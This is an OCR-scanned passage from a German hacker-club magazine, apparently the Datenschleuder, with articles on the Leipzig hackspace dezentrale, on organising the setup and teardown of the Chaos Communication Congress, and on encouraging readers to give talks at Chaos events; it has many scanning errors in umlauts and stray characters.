Unsere dezentrale Woche ist vollgestoptft.
Der Space ist von Montag bis Freitag ab 19 Uhr
geoffnet und lebt von vielen Beitragen. Unser
Programm besteht aus Chaostreff, Program-
mierrunde, Techniksprechstunde und Elek-
tronikrunde — mitunter seit 5 Jahren ununter-
brochen - die E-Runde ist gerade zu der Zeit,
als keine Priasenzveranstaltungen stattfinden
konnten, auf Online-Varianten umgestiegen
und z&hlt damit als die konstanteste Veranstal-
tung in unserem Programm.

dezentrale Projekte

Wie so mancher Hackspace haben wir uns Ge-
danken zu Naming Conventions unserer Ser-

vices und Geridte gemacht. Unser Ansatz ist
es, die Vorbesitzer (Spender) mit Vornamen
zu verewigen oder auch selbst entscheiden
zu lassen, wie kiinftig innerhalb der dezen-
trale ihr Beitrag genannt wird. Genau so sind
wir zu Harry gekommen. Dieser kleine Server
vor Ort arbeitet rund um die Uhr fiir uns. Er
steuert ein Display im Eingangsbereich und
zeigt aktuelle Termine, unser Abendprogramm
und Videoauschnitte an (Computer Chronic-
les, AT&T Archives, Hydraulic Press Channel
und weitere). Harry steuert zudem die Strom-
zufuhr fiir die Beleuchtung im Treppenauf-
gang und bespielt unsere Anlage mit Musik.
Harry ist also Anzeige, aber auch Webserver,
MQTT-Broker und Homeassistant zum Ver-
binden auf die genannten Beamer sowie Mo-
nitoring unserer Server. Danke, Harry, fiir dei-
nen ununterbrochenen Einsatz. Eine komplet-
te Leistungsbeschreibung und Verweise zum
Selberbauen findet ihr in unserem Wiki. [3]

Jeden Mittwoch trifft sich unser Projekt
Hardware for Future (HW4F [4]) welches auf-
bereitete Gerite fiir Homeschooling & Co. an
Bediirftige vermittelt. Hier konntet ihr bereits
in der Datenschleuder Ausgabe #104 von unse-
rem HW4F-Team lesen. Das Projekt freut sich
jederzeit iber Hardwarespenden und Unter-
stiitzung.

Ein dezentrale-Member erganzt diese Ambi-
tionen und unterstiitzt mit der IT-Hilfe Leipzig
[5] (altere) Menschen bei technischen Proble-
men bis hin zur Bedienung von Smartphones
und bietet Weiterbildungen.

Unser eigenes 2D-WorkAdventure mit den
Réumen der dezentrale, was ich neben rc3 per-
sonlich viel fiir den Chaostreff genutzt habe,
hat sogar zwei weitere Ableger gefunden. Das
Naturkundemuseum Leipzig [6] nutzt eine 2D-
Welt als virtuellen Rundgang und hat hierfir
Unterstiizung von dezentrale-Mitgliedern bei
der Einrichtung und im Betrieb bekommen.

%ﬁOxlE
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5 Jahre dezentrale

Wir haben zusammen zudem mit dem Kinder-
biiro Leipzig einen Workshop im November
2021 [1] initiiert, mit dem Ziel das Neue Rat-
haus virtuell nachzubauen.

dezentraler Freiraum

Waochentlich werden unsere Rdume vom Frei-
funk Leipzig [7] genutzt. Die Community hat
mit ihrer Historie tiber 15 Jahre sogar noch we-
sentlich mehr Erfahrung als unser Verein. Zu
Hochzeiten hatte das Projekt 650 ,Funkgerite®
online.

Seit neuestem findet in der dezentrale Leip-
zig ein monatliches Haecksen-Treffen [8] statt.
Mich persoénlich macht es an der Stelle beson-
ders stolz, unseren Space auch weiteren Com-
munities zur Verfiigung zu stellen.

dezentrales Dankeschon

Zusammenfassend konnen wir heute also be-

ruhigt behaupten, dass unsere dezentrale ein
Space zum Wohlfiithlen, Mitmachen und Mit-
gestalten darstellt und fir alle offen ist.

Wir danken allen Unterstiitzer:innen, die
uns auf diesem Weg begleitet haben.

Party-Atmosphire 1

Ce=

Liebe Leser:innen der Datenschleuder, ihr
seid jederzeit herzlich eingeladen, der dezen-
trale in Leipzig einen Besuch abzustatten und
uns personlich zu treffen. Wir freuen uns auf
Euren Besuch,

pilgrim
im Namen des Vorstands der dezentrale.

Party-Atmosphére 2

Referenzen
[1]

(2]
(3]

Homepage der dezentrale: https:
//dezentrale.space/

Homepage Tidalcycles: https://tidalcycles.
org/

Das Wiki der dezentrale: https://wiki.dez
entrale.space/

Hardware for Future: https://hardwarefo
rfuture.de

IT-Hilfe Leipzig: https://it-hilfe-leipzig.o
rg/

Naturkundemuseum Leipzig: https:
//naturkundemuseum.leipzig.de/
Freifunk Leipzig: https://freifunk-leipzig
.de/

Lokale Haecksen: https://www.haecksen
.org/lokale-gruppen/

(4]
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G’schichten vom Congress
— Orga, Auf- und Abbau

von psy <psy@darmstadt.ccc.de>

So ein Chaos Communication Congress ist eine wahnsinnig komplexe Veranstaltung, in der viele
Gruppen, Teams und Freiwillige zusammenarbeiten miissen, um sie jedes Jahr fiir uns ins Leben
zu rufen. Dabei muss vieles organisiert werden: Der Veranstaltungsort muss gebucht werden,
den Hallen und Raumen miissen Funktionen zugewiesen werden, Bithnen, Kasseninfrastruktur
und Dekoration miissen aufgebaut werden, und irgendwo muss der Tschunk ja auch herkommen.
Um einen kleinen Einblick in die Organisation dieser Veranstaltungen zu geben beschreibt
dieser Artikel wie man sich tiberhaupt in so ein Orgateam verirren kann, wie die Logistik-Crew
sich auf den Congress vorbereitet, und was dabei alles so bedacht werden muss.

wie die Congress-Orga strukturiert ist, gab es
kurzerhand ein Organigram zum Selbstbas-

Einleitu ng teln. Ich mochte das zum Anlass nehmen zu

In der letzten Datenschleuder gab es den ,Ver-
such eine Transparenz in die Struktur des Cha-
os zu bekommen®. ,Allerdings haben wir nie-
manden gefunden, der wusste, wie diese Struk-
tur wirklich aussieht®, heiflt es dort weiter.
Und weil den Verfasserinnen, wie vielen ande-
ren vermutlich auch, nicht so ganz klar war,

Aktion Adblock.

versuchen, euch ein bisschen mehr iiber die
Congress-Orga zu erzihlen und euch hoffent-
lich ein paar Eindriicke in deren Strukturen
zu geben. Dass euer Organigramm dadurch
besser oder richtiger wird kann ich aber nicht
versprechen.

Der Congress und seine Strukturen sind in

E‘E 0x20
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Wie funktioniert die Congress-Orga?

den vergangenen Jahren stark gewachsen. Das
macht sie nicht nur fiir Auflenstehende schwer
zu durchblicken, sondern hat inzwischen zur
Folge, dass niemand mehr einen vollstandigen
Gesamtiiberblick hat. Zumindest ich habe das
nicht. Was ich euch in diesem Artikel beschrei-
be, ist daher nur meine persénliche Sicht und
Wahrnehmung. Ich erhebe weder Anspruch
auf Vollstandigkeit, noch darauf, dass alle We-
sen rund um die Organisation des Congresses
die gleiche Sichtweise haben.

Wer ich bin und was ich tue

Zu eurer besseren Einschatzung méchte ich
kurz erzahlen, wie ich in die Congress-Orga
rutschte. Meine ersten grofien Chaosveran-
staltungen waren das Chaos Communication
Camp 2011 und der 28c3. Wihrend ich auf
dem Camp noch reiner Besucher war, wollte
ich auf dem 28c¢3 etwas beitragen und fing an
zu engeln. Ich merkte schnell, dass mir das
sehr viel Spafl machte. Ich kam mit neuen
Wesen in Kontakt, konnte die etwas abgele-
generen Ecken des Congress kennenlernen
und einen Blick hinter die Kulissen werfen.
So engelte ich mich auf den darauffolgenden
Congressen durch alle Aufgabenfelder, die mir
interessant erschienen. Das kann ich aus per-
sonlicher Erfahrung allen empfehlen. Auf ei-
ner nichtlichen Leergut-Schicht im halblee-
ren Congresszentrum lasst es sich wunder-
bar mit anderen Engeln austauschen, in einer
Bandchen-Schicht an einer der unzdhligen Ti-
ren entwickeln sich oftmals sehr interessan-
te Gepsprache und auf einer Laufschicht des
CERT lernt man auch die hintersten Ecken des
Gebaudes kennen.

CERT ,Chaos Emergency Response Team® —
das Sanitéts- und Brandschutz-Team des
CCC

Engel Die freiwillig helfenden Besucher*in-
nen einer Chaos-Veranstaltung. Das Wort
sengeln® hat sich als Synonym fiir das
Durchfiihren einer Helferschicht etabliert.

Himmel Der Ort, an dem die Engel koordi-
niert werden und sich ausruhen kénnen.

Nach diversen Jahren des ,random Engelns®
stie3 ich auf dem Camp 2015 zum Himmel, der
zu diesem Zeitpunkt Schichtkoordinator:in-
nen suchte. Ein sehr stressiger Job, bei dem
man im Gegenzug sehr viele andere Engel ken-
nenlernen kann. Als Ausgleich zu den doch
eher anstrengenden (aber nichtsdestotrotz
schonen!) Schichten, suchte ich mir Schich-
ten im Lager, das deutlich weniger bevolkert
war als der Rest des Congresses und dadurch
eine gewisse Ruhe ausstrahlte. Nach und nach
rutsche ich immer tiefer ins Lager und die Lo-
gistik, bis ich irgendwann bei dessen Planung
half und schon einige Tage frither zum Aufbau
nach Hamburg reiste.

Sicher ist sicher!

Mit dem Umzug nach Leipzig dnderten sich
die Aufgaben. Einige Wesen, die vorher in die
Organisation involviert waren, konnten oder
wollten diese nicht mehr weiter tibernehmen
und es kam ein riesiger Haufen neuer Aufga-
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Wie funktioniert die Congress-Orga?

ben hinzu. Viele landeten beim LOC, zu dem
ich nun gehorte, sodass wir uns nicht mehr nur
um Lager und Logistik kiimmerten, sondern
auch die Koordination des Auf- und Abbaus
ubernahmen. Das haben wir jetzt drei Jahre in
Leipzig gemacht und aus diesen Erfahrungen
mochte ich einen Einblick in die Organisation
der Congresse geben.

Ein paar Definitionen

Zum Einstieg will ich ein paar Begriffe erkla-
ren, die sich tiber die Jahre etabliert haben und
eventuell nicht allen geldufig sind.

Assemblies sind Zusammenschliisse von
Wesen zum Beispiel aus Hackspaces, mit Pro-
jekten oder einfach nur mit gleichen Ideen.
In der Regel haben sie einen eigenen Platz
irgendwo auf dem Congress um ihr Projekt
zu présentieren, gemeinsam zu hacken oder
einfach nur als gemeinsame Homebase. Auf
Camps heiflen Assemblies Villages, sind aber
ansonsten dasselbe.

Orbits, bzw. manchmal auch Habitate ge-
nannt sind meistens Zusammenschliisse aus
einzelnen Assemblies, die gemeinsam einen
grofBeren Bereich bespielen. Beispiele fiir Or-
bits sind Chaos West, die Wikipaka WG oder
lkomona. Die freiwilligen Helferinnen des
Congress werden als Engel bezeichnet.

Crews oder Teams sind Gruppierungen,
die sich Teilbereichen der Organisation des
Congresses angenommen haben, zum Beispiel
das CERT, die Internetmanufaktur, der Him-
mel, die Logistik, das Assembly-Team und
viele mehr. Einige von Thnen sind eher als
*OC, kurz fiir ,Operation Center®, bekannt, das
fihrt im Funk aber nur zu Verwechslungen.
Stellt euch vor ihr ruft das NOC und es melden
sich das LOC, POC und VOC.

NOC Das ,Network Operation Center®, heut-
zutage als ,Internetmanufaktur® bekannt,
kiimmert sich um Netzwerkinfrastruktur
und den Internet-Uplink.

LOC Das ,Logistics Operation Center”

POC Das ,Phone Operation Center” stellt
GSM-, DECT- und SIP-Infrastruktur fiir
lokale Telefonie bereit.

VOC Das ,Video Operation Center” ist fiir
Livestreams, Regie, Aufnahmen, etc. der
Vortrage zustindig.

Die Orga ist keine klar definierte Gruppe,
sondern viel mehr ein Sammelbegriff fiir al-
le an der Organisation beteiligten Wesen und
Crews.

Die Projektleitung ist das Team, das ver-
sucht diesen ganzen Haufen zusammenzuhal-
ten und den Uberblick zu bewahren.

Digitales Planen

Wann die Organisation des niachsten Events
genau beginnt, ist schwierig zu sagen. Vie-
le Teams treffen sich schon lange bevor es
die ersten grofleren Mumbles gibt, in gemiitli-
cher Runde, um sehr grob tiber das anstehende
Event zu sprechen. Die Logistik-Crew nutzt
dafiir zum Beispiel traditionell die GPN. Wann
und wo sich die Teams das erste Mal treffen
ist aber nicht einheitlich und hangt von den
einzelnen Crews ab.

Mumble Eine Open-Source-Software fiir Au-
diokonferenzen, auch als verkiirzte Be-
zeichnung fir Meetings mit selbiger ge-
nutzt

GPN Die Gulaschprogrammiernacht, eine
grofle Chaos-Veranstaltung des Entropia
eV.

EEE
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Sagten Sie Gitterboxen?

Die ersten Treffen dienen in der Regel der Or-
ganisation innerhalb der Crew, zum Beispiel
der Planung, wer wann wie viel Zeit hat, wer
welche Teilbereiche iibernehmen mochte, wer
gegebenenfalls ausfallt, Bereiche abgeben will,
welche Aufgaben wegfallen oder neu hinzu-
kommen.

Wirklich Fahrt nimmt die Gesamtorganisa-
tion fiir den anstehenden Congress im Herbst
auf, wenn sich alle Teams zum Mumble treffen.
Diese grofien Mumbles finden wéhrend der
Planung alle 2 Wochen statt und dienen dem
Austausch mit allen anderen Teams. So werden
dort Informationen weitergegeben und Din-
ge diskutiert, die fiir alle relevant sind. Auch
Fragen, bei denen unklar ist, wer genau diese
beantworten kann, werden dort gestellt. Wenn
sie niemand beantworten kann, werden sie
von Personen mitgenommen, die wissen wer
sie beantworten kann. Fragen an die Messe
oder das Congresszentrum zum Beispiel oder
an Teams die gerade nicht anwesend sind. Um
den Rahmen der groflen Mumbles nicht zu
sprengen, wird viel direkt zwischen den Crews
besprochen und fiir das grofie Mumble zusam-
mengefasst. Die Dokumentation der Planung
kommt in ein Wiki, sowohl die Protokolle der
Treffen, als auch zu jeder Veranstaltung ein
eigener Namespace mit allen relevanten Infos.

Bis irgendwann im Dezember dann der Auf-
bau vor Ort losgeht, passiert das meiste online.
Da ich nicht alle Crews kenne, kenne ich auch
deren Struktur nicht und erzéhle nur fir die
Logistik.

Wir starten also unsere Planung auf der
GPN und sitzen ab Mitte September bei regel-
méafligen Mumbles zusammen. Wir legen fest,
wer Bestellungen und Einkaufe iibernimmt,
legen entsprechende Seiten im Wiki an und
schreiben unseren ,LOC Ruf*, der an alle ande-
ren Crews geht. Darin fragen wir nach Mate-
rialbedarf, Dinge die aus dem Lager gebraucht

werden, Transporte und Lieferungen die er-
wartet werden und Arbeits- und Lagerflachen
in der Logistikhalle (Halle 4 in Leipzig, bzw.
im CCH Halle H). Wir beginnen die Fliache
der Logistikhalle zu verplanen und iiberlegen,
was wir an Gerétschaften und Material brau-
chen, um die Planung umzusetzen. Zum Bei-
spiel ermitteln wir den Strombedarf der einzel-
nen Arbeitsflichen und geben diesen an Team
Power, die damit weiter planen. In unseren
Lagern in Berlin und Leipzig werden Paletten
und Material kontrolliert, vorsortiert und fir
den Transport vorbereitet. Mit den Deadlines
fiir Bestellungen der Crews, ordern wir die ent-
sprechenden Materialien und Geratschaften.
Holz, Schrauben, Klebeband, Biiromaterial, Ga-
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belstapler, Hubarbeitsbithnen, Bauzéune und
Geriiste. Vieles muss aus den Lagern in Berlin
und Leizig zum Congress transportiert wer-
den, also planen wir Transporte und Fahrten
und beauftragen Speditionen fiir den Rest.

| m i m = = 1L, .- ‘_

Mount Sofa

Auflerdem kiitmmern wir uns noch um die
Schlafplatzorganisation und um die Organi-
sation von Sofen. Dafiir sind in Zwischenzeit
sogar eigene Teams entstanden, wie das Mobel-
haus, das sich um Bestellung und Verteilung
von Tischen und Stithlen kiimmert oder Team
Trash, das bedarfsgerechte Verteilung und re-
gelmaBige Leerung der Miilleimer sicherstellt.
Seit dem 35c¢3, dem ersten Congress in Leip-

zig, haben wir auch die Koordination des Auf-
und Abbaus tibernommen, hauptsachlich als
Schnittstelle fiir daran beteiligten Entitaten.
Ein gutes Erkennungszeichen sind das Klemm-
brett und die vielen Zettel, die wir meistens
bei uns tragen.

LOC, oder auch...

Analoges Aufbauen

Nach bestimmt noch viel mehr Dingen, die ich
mangels Congress in den vergangenen zwei
Jahren vergessen habe, treffen wir uns Mitte
Dezember dann endlich vor Ort zum Aufbau.
Zur groben Orientierung: In Congresszeitrech-
nung ist das in etwa Tag -14. Wir starten mit

Ladungstetris.
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der Logistikfldche. Zunéchst miissen Materiali-
en und Geritschaften angeliefert werden. Die
ersten Tage bestehen daher aus der Annahme
von Lieferungen, sowie der Weiterverteilung
der angelieferten Dinge an die Crews und der
Einrichtung von Arbeitsflichen.

Congresszeitrechnung Die Zihlung der Ta-
ge relativ zum ,Tag 0% dem 26.12. des Jah-
res. Ublicherweise reisen dort die Assem-
blies an um ihre Bereiche vor Veranstal-
tungsbeginn aufzubauen. Tag -1 wére also
der 25.12,, und Tag 4 der letzte Tag der
Veranstaltung.

Nach und nach treffen nun weitere Crews
und helfende Hande ein, richten sich ein und
wir ,erobern“ uns weitere Flichen der Ge-
béude. Die Power-Crew beginnt mit der Prii-
fung elektrischer Gegenstande und der Verle-
gung/Verteilung von Strom, die Internetma-
nufaktur beginnt erste Fasern zu ziehen, die
Projektleitung zieht in ihr Biiro und das BOC
bekommt die ersten Getrankelieferungen.

BOC Das ,Bottle Operation Center®, die
Getranke-Crew

Sobald die Arbeitsflichen mit Strom ver-
sorgt sind, halten die ersten Bau-Crews Einzug
und richten sich ihre Arbeitsflichen ein. Holz-
lieferungen, Traversen und Geriiste werden
angeliefert und aufgebaut. Erst wenn diese ste-
hen und hiangen, darf dort weiter aufgebaut
werden.

Zeitlich sind wir nun in etwa bei Tag -10. Ab
jetzt steigt die Zahl helfender Hande téglich,
so dass der Himmel mit der Koordination be-
ginnt. In Leipzig gab es dazu eine eigene kleine
~AuBenstelle®, den sogenannten ,pre-Heaven®
in Halle 4. Einerseits, weil die Raumlichkeiten
im CCL noch nicht zur Verfiigung standen und

Die Traverse muss so!

andererseits, weil sich das Meiste noch rund
um Halle 4 abspielte. Die Laufwege waren da-
durch deutlich kiirzer.

Wenn Traversen und Geriiste stehen wird
gesagt, getackert, gehdmmert, gestrichen, la-
ckiert. Die Kiinstlergruppen sind angekom-
men und dekorieren. In den kommenden Ta-
gen entwickelt sich aus den Baustellen mehr
und mehr eine Congress-Atmosphére: Lampen
werden in Traversen gehiangt, Deko-Elemente,
Equipment fiir Netzwerk und Strom aufge-
stellt und Kabel verlegt.

Bevor Tische und Stithle aufgestellt werden
konnen, muss noch eine Zwischenreinigung

Bauzaun-Fiifle kann man nicht nur zum Auf-
stellen von Bauzaun, sondern auch prima als
Gewicht verwenden.
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erfolgen, um den Staub und Dreck der sich
wihrend der Bauphase angesammelt hat, zu
entfernen. Dann beginnt das Assembly-Team
zusammen mit dem Mébelhaus und einer Men-
ge Engeln, Tische und Stiithle aufzustellen.

Weihnachtliches Intermezzo
(oder auch Baumfest)

Und dann ist auch schon Heilig Abend, oder
auch Tag -2. Einige fahren heim, andere blei-
ben da, der Aufbau wird merklich ruhiger. Man
gonnt sich eine kleine Pause, was nicht hei-
en soll, dass gar nicht gearbeitet wird. Zum
Beispiel werden alle weiflen Lampen (soweit
erlaubt) mit bunter Folie tiberklebt, um eine
wohlige Atmosphire zu schaffen. Alle, die tiber
Weihnachten da bleiben, freuen sich auf das
leckere Essen der Mecklenborger. Die Engelkii-
che wird festlich dekoriert und an grof3er Tafel
gemeinsam Congressaufbau, Weihnachtsfest
oder was auch immer gefeiert.

Da vor der Erdffnung des Congresses die
Abnahme durch die Feuerwehr und Messelei-
tung erfolgen muss, wird in den beiden Tage

el

nach Weihnachten alles fiir diese Begehung
vorbereitet. Die haufigsten Fragen wéhrend
dieser Zeit sind dann: ,Ist das auch B1?, ,Wo
ist die Erdung?“ und ,Muss das hier stehen
oder kann das weg?“. Feuerldscher und deren
Piktogramme werden verteilt. Kabelbriicken
und -matten werden ausgelegt und Fluchtwe-
ge ausgeschildert.

B1 Brandschutzklasse, die nach Brandschutz-
norm DIN 4102-1 ,schwer entflammbare®
Baustoffe und Bauprodukte bezeichnet

Ist die Abnahme erfolgt, darf die Kasse 6ff-
nen und Besuchende das Gelinde betreten.

It’s Congress!

Jetzt diirfen keine grofien Geratschaften mehr
auf den Publikumsflichen bewegt werden. Die
Kasse tauscht Tickets gegen Bandchen, Assem-
blies beginnen ihre Flachen zu besiedeln und
auszuschmiicken, Mitgebrachtes aufzubauen.
Es kommt Leben in die Flachen. Das Aufbau-
Team gonnt sich eine kleine Pause, aber nach

LOC Parkplatz
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Wie funktioniert die Congress-Orga?

dem Aufbau ist vor dem Abbau. In den néchs-
ten Tagen miissen wir schon viel fiir den Ab-
bau vorbereiten, mit vielen Crews und groflen
Assemblies iber ihre Abbau- und Abreisepla-
ne zu sprechen und diese mit unseren Abbau-
plénen in Einklang zu bringen. Es gibt viele
Crews, deren Arbeit jetzt richtig beginnt: Der
Himmel lauft zur Hochform auf, Lingo tiber-
setzt Vortrage, das CERT kiimmert sich um
kleine und grofie Wehwehchen, die Garderobe
verwahrt Taschen und Jacken, Speakersdesk
und Heralde kitmmern sich um Speaker und
die Eroffnung der Vortrage, das Merchteam
verkauft Kleigung, der Spitkauf bietet alles,
was mensch vergessen haben konnte und Info-
desk und Vereinstisch versorgen Interessierte
mit Infos und Mitgliedschaften. Es gibt noch
viele weitere Teams, die ich gerade vergessen
habe aufzuzidhlen. Bei Interesse klickt euch
einfach beim nachsten Congress im Engelsys-
tem eine Engelschicht beim entsprechenden
Team oder schaut zur Einfithrung dort vorbei!
Falls ihr euch nicht sicher seid, hilft euch der
Himmel gern weiter oder verweist euch an die
passende Ansprechperson.

Abbau

Der Congress endet mit der Abschlussparty.
Piinktlich mit dem Ende des Closing-Talks ge-
hen in den Hallen die gleifend hellen Abbau-
lichter an und die Massen ziehen sich aus den
Hallen zuriick. Wahrend sie entweder heim-
fahren oder auf die Party gehen, startet fiir
uns der Abbau. Alles, was leicht beweglich
ist, wird jetzt schon aus den Hallen gerdumt.
Netzwerk-Hardware und Feuerléscher werden
eingesammelt, Tische und Stiihle gereinigt und
transportbereit gestapelt, angefallener Miill ge-
sammelt und entsorgt, farbige Folien entfernt
und erste kleine Aufbauten zerlegt und zum
Transport ins Lager gebracht. Zuriick bleiben

nur grofiere Aufbauten und Traversen in an-
sonsten wieder kargen Messehallen. Sind die
Hallen soweit leer, ist es auch fur uns Zeit,
nochmal ordentlich auf der Abbauparty zu fei-

ern.

Nach dem Aufbau kommt der Abbau.

Am néchsten Tag sind fast alle wieder auf
dem Heimweg und nur wir LOCs in den Mes-
sehallen wieder allein. Die letzten Aufbauten
werden zerlegt und ins Lager gebracht, die
Traversen kommen herunter und werden ab-
gebaut. Wir fegen die leere Halle und geben
sie der Messe zuriick, verkleinern uns wieder
nach Halle 4 zuriick. Am 1.12. ist Feiertag und
kein Abtransport moéglich, also wird an Sil-
vester in kleiner Runde nochmal ausgiebig
gefeiert. In den folgenden Tagen packen wir
die ganzen Materialen auf Paletten und brin-
gen sie dahin, wo sie herkamen. Was nicht
an Leihfirmen zuriickgeht oder in unsere La-
ger kommt, wird verschenkt oder landet am
Ende auf der Deponie. Denn einen hinterlas-
senen Kithlschrank mit fraglichem Betriebs-
und Hygienezustand und vergammelte Sofas
will einfach niemand haben.

Nach einer knappen Woche Abbau endet
dann auch fiir uns der Congress mit der Verla-
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dung unseres eigenen Krams auf den letzten
LKW und der Heimreise.

Fazit

2 Wochen Aufbau, 4 Tage Congress und 1 Wo-
che Abbau. LKW wurden Be- und Entladen,
viel Material bewegt, aus kargen Hallen eine
wohlig warme Congressatmopshére gezaubert
und diese spéter wieder mit einem weinenden
Auge abgebaut. Und genau wie wir fragt ihr
euch vermutlich auch jedes Mal: Kénnen wir
das nicht einfach immer haben?

Damit das funktioniert, braucht es Engel.
Falls ihr Lust habt zu helfen, seid ihr herzlich
willkommen. Wir finden fiir alle eine passen-
de Aufgabe! Eine Veranstaltung dieser Gro-
f3e ist ziemlich komplex und an vielen Stellen
braucht mensch Vorwissen. Aber das kénnt
ihr von Congress zu Congress aufbauen und
in die Organisation hineinwachsen. Sprecht
uns einfach an! Am besten funktioniert auf
einem der kommenden Events.

37¢3

Lange war nicht klar, ob der 37c3 dieses Jahr
iiberhaupt stattfinden kann. Seit Kurzem wis-

v

sen wir, dass er es leider nicht wird. Die Pla-
nungen waren aber nicht vergebens, denn ir-
gendwann, hoffentlich bald, wird er wieder
stattfinden. Und das in Hamburg. Das bedeu-
tet insbesondere auch eine raumliche Verklei-
nerung des Congresses, was vermutlich auch
mit einer deutlichen Reduzierung unserer Auf-
gaben und der damit verbundenen Arbeit ein-
hergeht.

Wir konnen daher auch noch nicht abse-
hen, wie viele helfende Hiande wir benétigen
werden. Seht es uns daher bitte nach, wenn
wir fiirs Erste verhalten auf Hilfsangebote re-
agieren. Das ist iiberhaupt nicht bése gemeint
und eigentlich wollen wir niemanden abwei-
sen, aber wenn am Ende die meisten nur ge-
langweilt herumstehen, weil es einfach nicht
genug zu tun gibt, dann ist damit auch nieman-
dem geholfen.

Sobald wir wissen dass, und wie viel Hilfe
wir brauchen, werden wir einen entsprechen-
den Aufruf im Eventblog [1] veroffentlichen.

Referenzen
[1] CCC Event-Blog: https://events.ccc.de
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Manchmal nervten die vielen E-Roller auch.
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Traut euch, Talks zu halten

von Tanja Wawuschel @mewawuschel@mastodon.catwuschel.com
<wawuschelchen@posteo.de>

Die Chaos-Events brauchen mehr und vielseitigere Beitrdge und ich bin sicher, dass viele von
euch Ideen fiir Talks haben und die auch halten kénnen. Traut euch! Als kleine Hilfestellung
schreibe ich euch mal meine Erfahrungen dazu auf. Es wird darum gehen Ideen fiir Talks
einzureichen, mit Absagen des Talks (und unerwarteten Zusagen!) umzugehen, Gedanken auf
Folien zu bringen und den Talk dann auch zu halten.

Nervoses Wawuschel vor einem Talk auf der GPN20

Willkommen zu Wawuschels Er-
fahrungsbericht!

Erstmal ein paar Worte zu mir: Ich habe schon
Talks fiir Easterhegg, MRMCD, GPN und Con-
gress eingereicht, aber bisher nur auf der
GPN gehalten. Darunter waren Talks tiber Kat-

(habrok42)

zen, Produkttests, Freizeitparks und Autismus
(mit @habrok42 aus der Cobolgruft), Border-
line und erwihnte ich schon Katzen? Ich bin
Wiederholungs-Talkerin, aber ich frage mich
jedes Mal, wenn ein Vorschlag von mir ange-
nommen wird, ob ich verriickt geworden bin.
Und kurz bevor es los geht denke ich mir, dass
ich jetzt einfach in einem Diner sitzen bleibe
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Talks halten? Traut euch!

und mich schon keine:r vermissen wird. Diese
Nervositét ist normal, das geht auch erfahre-
nen Speaker:innen so. Das ist Biologie, unser
menschlicher Fluchtreflex.

Die meisten Talks beginnen damit, dass ihr
selbst euch mit einem Thema beschéftigt oder
dafiir interessiert oder ihr habt ein spannen-
des Projekt, von dem ihr anderen im Chaos
erzéhlen wollt. Viele Wege fithren zum Talk.
Die Idee fiir einen Talk entsteht oft unabhén-
gig von den Chaosevents. Ich finde das auch
besser, weil mensch sonst die Ideen von die-
sen Events, von Zu- und Absagen abhingig
machen wiirde. Das Spannende am Schreiben
und Halten von Talks ist aber auch, sich in-
tensiver mit einem Thema zu beschiftigen als
mensch das sonst tun wiirde. Oder ein Thema
neu zu durchdenken und bisheriges Wissen
auszublenden, weil die Zuhdrer:innen wahr-
scheinlich weniger dariiber wissen.

Bei mir beginnt der Talk jedes Mal mit der
Idee, dass mehr Menschen iiber ein bestimmtes
Thema informiert werden kénnten, so wie bei
meinem Borderline-Talk, oder sich vielleicht
dafir interessieren, wie bei meinem Talk tiber
die Produkttests. Und Katzen. Themen zu Kat-
zen gehen doch irgendwie immer...

Ein Call for Participation (CfP)
- Was nun.

Irgendwann wird der niachste Call for Partici-
pation (CfP) auf https://events.ccc.de/ verdt-
fentlicht. Manchmal mit klaren Vorgaben zu
den Themen fiir Talks, manchmal, wie bei der
GPN, offen fiir vielseitige Ideen.

Wenn da etwas passt, gilt es zunichst, den
Vorschlag grob zu umreifien. Dafiir solltet ihr
Titel, Teaser und ldngere Beschreibung haben.
Manche C{fP kommen mit verschiedenen The-
mensparten, in die der Talk einsortiert werden
soll. Wenn ihr nicht wisst, wo euer Vorschlag

Ce=

hinpasst, haben diese Events dafiir ein Team,
das fir Fragen ansprechbar ist und bei der
Einordnung hilft. Nutzt das ruhig, sonst wird
denen langweilig.

Lasst euch nicht davon abschrecken, dass
im CfP alles so wichtig und eloquent klingt.
Die Talks auf Chaosevents sind fiir ein Publi-
kum, das eure Sprache spricht und vor allem
das Chaosumfeld gewohnt ist. Und genau so
diirfen eure Einreichungen auch sein. Ich sag
mir bei meinen Einreichungen: Von mir, von
euch, fiir das Chaos-Publikum.

Beim Einreichen miisst ihr auch angeben,
wie lange euer Talk sein soll. Meistens stehen
30 oder 45 Minuten plus Zeit fiir Fragen der
Zuhorer:innen zur Verfugung. Es gibt soge-
nannte Lightning-Talks von fiinf Minuten. Mit
denen konnt ihr in das Reden vor dem Chaos-
publikum schnuppern, ohne aufwendige Talks
und Folien vorzubereiten. Zu denen kann ich
aber hier Nichts schreiben, weil ich dafiir dann
doch Zuviel dazu zu sagen habe.

Bei meiner ersten Talk-Einreichung hatte
ich keine Ahnung, wie viel Zeit ich brauche.
Das ist eine schwierige Entscheidung. Ich bin
ein Blubbersprechwawuschel, ich nehme im-
mer die 45 Minuten plus Fragen. Bei einem
vollen Fahrplan ist niemand bdse, wenn es
mal schneller geht und dadurch eine Pause
zwischen den Talks entsteht. Meistens gibt es
auch gentigend Fragen, um die Zeit zu fillen.
Viel schlimmer ist, wenn ich die Zeit zu kurz
angegeben habe und mich entscheiden muss,
welchen Inhalt ich streiche.

Warten auf Riickmeldungen

Fragt euch nicht, ob euer Thema Zuhérer:in-
nen interessiert. Das zu entscheiden, ist Auf-
gabe des Chaosteams, das den Fahrplan fiir
ein Event zusammenstellt. Das Chaos ist breit
gefichert, so dass jedes angenommene Thema

EgE
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Zuhorer:innen findet — ohne, dass ihr den Saal
mit Osterreichischen Waffelkeksen bestechen
musst. Seid aber auch nicht enttauscht, wenn
ein Vorschlag abgelehnt wird. Das kann zig
Griinde haben, die wir — und das finde ich per-
sonlich gut so — nicht unbedingt erfahren. Ver-
sucht es einfach beim niachsten Event oder im
néchsten Jahr. Sogar ich habe mittlerweile ver-
standen, dass Absagen nie personlich gemeint
sind — und wer meinen Talk zu Borderline ge-
sehen hat, kann nachvollziehen, wie schwierig
das fiir mich ist.

Was euch nie abhalten sollte, ist der Ge-
danke ,,Jemensch anderes konnte den Talk be-
stimmt besser und mit mehr Wissen tiber das
Thema halten als ich.“ Klar, aber ihr habt den
Talk eingereicht, und diese Person halt nicht.

In dem Fall, dass es zwei dahnliche Einreichun-
gen gibt, entscheidet das Content-Team, wel-
cher Talk besser passt. Wenn Euer Talk genom-
men wird, habt ihr schonmal mit eurer Einrei-
chung iiberzeugt. Niemand erwartet, dass ihr
absolute Expert:innen auf dem Gebiet seid und
alles dartiber wisst. Wir sind das Chaos. Thr
konnt und diirft hier im geschiitzten Rahmen
Talks halten und dabei Fehler und Unzuléng-
